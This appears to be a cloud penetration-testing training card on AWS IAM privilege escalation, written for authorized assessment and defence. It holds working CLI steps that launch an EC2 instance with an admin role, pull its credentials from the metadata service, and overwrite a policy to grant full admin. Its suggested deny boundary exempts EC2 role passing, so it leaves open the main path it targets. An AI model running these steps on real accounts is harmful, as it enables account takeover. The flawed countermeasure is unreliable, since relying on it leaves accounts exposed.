IAM policy misconfig
Theory
Why This Matters
In 2020, a penetration test of a major financial institution's AWS environment discovered that a developer's IAM user had been granted iam:PassRole and ec2:RunInstances — two permissions intended to allow the team to launch EC2 instances for testing. Within 20 minutes the assessor had attached an AdministratorAccess role to a new EC2 instance, assumed that role via the Instance Metadata Service, and had full read-write access to every S3 bucket, RDS database, and Lambda function in the account. The privilege escalation required zero exploits — only a policy misconfiguration and knowledge of how IAM evaluation works. Rhino Security Labs' 2018 research documented 21 distinct IAM privilege escalation paths; as of 2024, over 40 are known.
Core Concept
AWS IAM evaluates a request by combining five policy types in order. Identity-based policies attach to users, groups, or roles and grant permissions. Resource-based policies attach to resources (S3 buckets, KMS keys, Lambda functions) and can grant cross-account access. Permission boundaries are identity-based policies that set the maximum permissions an identity can ever have, regardless of what identity-based policies say. Service Control Policies (SCPs) in AWS Organizations apply at the organization, OU, or account level and restrict what any principal in that account can do — they are not grants, only limits. Session policies apply to temporary credentials created by sts:AssumeRole.
The effective permissions of a request equal the intersection of all applicable allow policies minus any explicit deny from any policy type. SCPs and permission boundaries never grant permissions — they only restrict. An explicit Deny anywhere always wins over any number of Allow statements.
Wildcard abuse is the most common finding: "Action": "s3:*" grants all 60+ S3 actions including s3:PutBucketPolicy (full takeover of any bucket). "Resource": "*" combined with "Action": "iam:*" grants complete IAM control. The Pacu framework's iam__privesc_scan module systematically checks for all known escalation paths.
The most powerful escalation primitive is iam:PassRole + ec2:RunInstances: an attacker can launch a new EC2 instance with any IAM instance profile role (including AdministratorAccess), then retrieve that role's credentials from the IMDS. Other critical paths: iam:CreatePolicyVersion allows overwriting an existing policy's active version; iam:AttachUserPolicy allows attaching any managed policy to any user; iam:CreateLoginProfile enables console access for programmatic-only users.
Technical Deep-Dive
# Step 1: Enumerate current identity and attached policies
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws iam get-user --query User.UserName --output text)
aws iam list-user-policies --user-name TARGET_USER # inline policies
# Step 2: Read the policy document to find wildcards
POLICY_ARN="arn:aws:iam::123456789012:policy/DevPolicy"
VERSION=$(aws iam get-policy --policy-arn $POLICY_ARN --query Policy.DefaultVersionId --output text)
aws iam get-policy-version --policy-arn $POLICY_ARN --version-id $VERSION
--query PolicyVersion.Document --output json
# Step 3: Simulate what the current identity can do
aws iam simulate-principal-policy
--policy-source-arn arn:aws:iam::123456789012:user/dev-user
--action-names iam:PassRole ec2:RunInstances iam:CreatePolicyVersion
--output json | python3 -m json.tool
# Step 4: Pacu automated escalation scan
# git clone https://github.com/RhinoSecurityLabs/pacu
python3 pacu.py
# Inside Pacu:
# run iam__privesc_scan
# run iam__enum_permissions
# Step 5: Exploit iam:PassRole + ec2:RunInstances
# Find a high-privilege role to pass
aws iam list-roles --query "Roles[?contains(RoleName,'admin') || contains(RoleName,'Admin')].[RoleName,Arn]"
# Launch EC2 with the high-privilege role
aws ec2 run-instances
--image-id ami-0abcdef1234567890
--instance-type t2.micro
--iam-instance-profile Name=AdminInstanceProfile
--key-name attacker-key
--subnet-id subnet-12345678
# Retrieve credentials from inside the instance via IMDS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/AdminRole
# Step 6: Exploit iam:CreatePolicyVersion (overwrite to grant admin)
aws iam create-policy-version
--policy-arn arn:aws:iam::123456789012:policy/TargetPolicy
--policy-document file://admin-policy.json
--set-as-default
# admin-policy.json: {"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}
Security Assessment Methodology
- Identify all policies attached to the target identity using
aws iam list-attached-user-policies,list-user-policies(inline), and trace group memberships withlist-groups-for-user. - Parse policy documents for wildcard actions (
*,iam:*,s3:*) and wildcard resources. Flag any policy with"Effect": "Allow"and"Resource": "*"combined with high-impact action prefixes. - Run
aws iam simulate-principal-policyagainst the 21+ known escalation action pairs:iam:PassRole+ec2:RunInstances,iam:CreatePolicyVersion,iam:AttachUserPolicy,iam:CreateAccessKey,iam:UpdateLoginProfile,lambda:CreateFunction+iam:PassRole. - Use Pacu
iam__privesc_scanto automate detection of all known escalation paths andiam__enum_permissionsto build a complete permission map without requiringiam:SimulatePrincipalPolicy. - Check permission boundaries and SCPs — a permission boundary may restrict even
AdministratorAccess. Enumerate withaws iam get-user --query User.PermissionsBoundaryand list SCPs withaws organizations list-policies-for-target. - Exploit the highest-impact path found —
iam:PassRole+ec2:RunInstancesis preferred as it leaves minimal IAM-plane audit trail compared to policy version overwrites. - Verify privilege escalation with
aws sts get-caller-identityandaws iam get-userafter assuming the new role to confirm the escalated identity.
Defensive Countermeasure — Attach a permission boundary to all developer IAM users and roles that explicitly denies
iam:CreatePolicyVersion,iam:AttachUserPolicy,iam:PassRoleon"Resource": "*". Specifically:{"Effect": "Deny", "Action": ["iam:PassRole", "iam:AttachUserPolicy", "iam:CreatePolicyVersion", "iam:PutUserPolicy", "iam:CreateAccessKey"], "Resource": "*", "Condition": {"StringNotEquals": {"iam:PassedToService": "ec2.amazonaws.com"}}}. Complement with an SCP at the OU level that deniesiam:CreatePolicyVersionwith"NotAction"scoping to service-linked roles.
Common Assessment Errors
- Overlooking inline policies —
list-attached-user-policiesonly returns managed policies. Inline policies fromlist-user-policiesare often more permissive and less monitored because they bypass the managed policy library. - Trusting
simulate-principal-policyas definitive — simulation does not account for resource-based policies, VPC endpoint policies, or session policies applied to assumed roles. It can return false negatives for cross-account scenarios. - Ignoring group memberships — developers are often members of groups whose policies they are unaware of. Always enumerate
list-groups-for-userand then enumerate each group's policies. - Missing service-linked roles — AWS service-linked roles often have broad permissions and may be passable via
iam:PassRole. Enumerate withaws iam list-roles --query "Roles[?RoleType=='Service']". - Assuming SCPs block everything — an SCP that denies
iam:*still does not override an explicit Allow in a resource-based policy for cross-account access to that resource. - Not checking for
iam:CreateLoginProfile— this action enables console password login for an IAM user that previously had only programmatic access, providing a pivot to browser-based console sessions.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0053 | Knowledge of cloud infrastructure vulnerabilities and attack surfaces | Covers the complete IAM policy evaluation order and all five policy types that interact to determine effective permissions |
| K0167 | Knowledge of systems security testing methodologies | Trains a structured seven-step escalation methodology from policy enumeration through privilege confirmation |
| S0073 | Skill in using penetration testing tools and techniques against cloud infrastructure | Builds proficiency with Pacu iam__privesc_scan, aws iam simulate-principal-policy, and manual policy analysis |
| T0144 | Task: Conduct penetration testing on cloud-hosted systems | Directly exercises exploitation of iam:PassRole+ec2:RunInstances and iam:CreatePolicyVersion escalation paths |
| T0395 | Task: Recommend security controls for cloud environments | Develops precise permission boundary and SCP remediation recommendations targeting specific escalation primitives |
Further Reading
- "AWS IAM Privilege Escalation Methods" — Rhino Security Labs (Spencer Gietzen, 2018)
- "Pacu: The AWS Exploitation Framework" — Rhino Security Labs GitHub documentation
- "IAM Policy Evaluation Logic" — AWS Documentation, IAM User Guide
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.